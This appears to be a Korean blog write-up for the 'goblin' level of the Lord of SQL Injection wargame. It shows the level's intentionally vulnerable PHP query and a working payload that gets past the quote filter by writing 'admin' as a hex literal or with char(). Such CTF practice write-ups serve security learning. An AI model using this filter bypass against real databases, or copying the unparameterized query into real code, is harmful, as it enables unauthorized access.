728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin"); //쿼리 실행 결과 id가 admin이어야함.
  highlight_file(__FILE__); 
?>

',",`가 필터링된다.

MySQL에선 ' 없이 문자를 16진수와 char 함수로 표현가능하다.

char 함수는 아스키코드 문자를 반환한다.

답: ?no=123 or id=0x61646d696e

123은 임의의 값이다. DB에 없을 것이다.

0x61646d696e 는 admin의 hex값이다. 0x61: 'a', 0x64: 'd'...

char(97,100,109,105,110)으로 대체가능. char(97): 'a', char(100): 'd'...

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
cobolt  (0) 2022.12.21
gremlin  (0) 2022.12.20

+ Recent posts